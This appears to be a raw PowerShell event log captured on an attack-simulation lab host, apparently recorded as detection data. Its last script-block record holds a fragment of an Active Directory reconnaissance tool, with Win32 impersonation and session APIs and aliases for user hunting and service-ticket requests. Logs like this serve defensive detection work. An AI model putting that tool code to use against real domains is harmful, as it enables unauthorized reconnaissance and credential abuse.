0045e9c1-7808-49f3-8cf5-847047e4238a Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989581 Keywords=None Message=Completed invocation of ScriptBlock ID: ef4c4112-4d86-42fa-8878-161b2a052f06 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989580 Keywords=None Message=Started invocation of ScriptBlock ID: ef4c4112-4d86-42fa-8878-161b2a052f06 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989579 Keywords=None Message=Creating Scriptblock text (1 of 1): {($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])} ScriptBlock ID: ef4c4112-4d86-42fa-8878-161b2a052f06 Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989578 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989577 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989576 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989575 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989574 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989573 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989572 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989571 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989570 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989569 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989568 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989567 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989566 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989565 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989564 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989563 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989562 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989561 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989560 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989559 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989558 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989557 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989556 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989555 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989554 Keywords=None Message=Completed invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989553 Keywords=None Message=Started invocation of ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989552 Keywords=None Message=Creating Scriptblock text (1 of 1): {($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])} ScriptBlock ID: 0da2d990-c619-4efc-a08a-96b541abe003 Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989551 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989550 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989549 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989548 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989547 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989546 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989545 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989544 Keywords=None Message=Started invocation of ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989543 Keywords=None Message=Creating Scriptblock text (1 of 1): {($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])} ScriptBlock ID: 7d6d459b-be72-421d-bfd2-045065a892fb Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989542 Keywords=None Message=Started invocation of ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989541 Keywords=None Message=Creating Scriptblock text (61 of 61): werView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs @('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Invoke-ThreadedFunction New-ThreadedFunction Set-Alias Invoke-UserHunter Find-DomainUserLocation Set-Alias Invoke-ProcessHunter Find-DomainProcess Set-Alias Invoke-EventHunter Find-DomainUserEvent Set-Alias Invoke-ShareFinder Find-DomainShare Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember Set-Alias 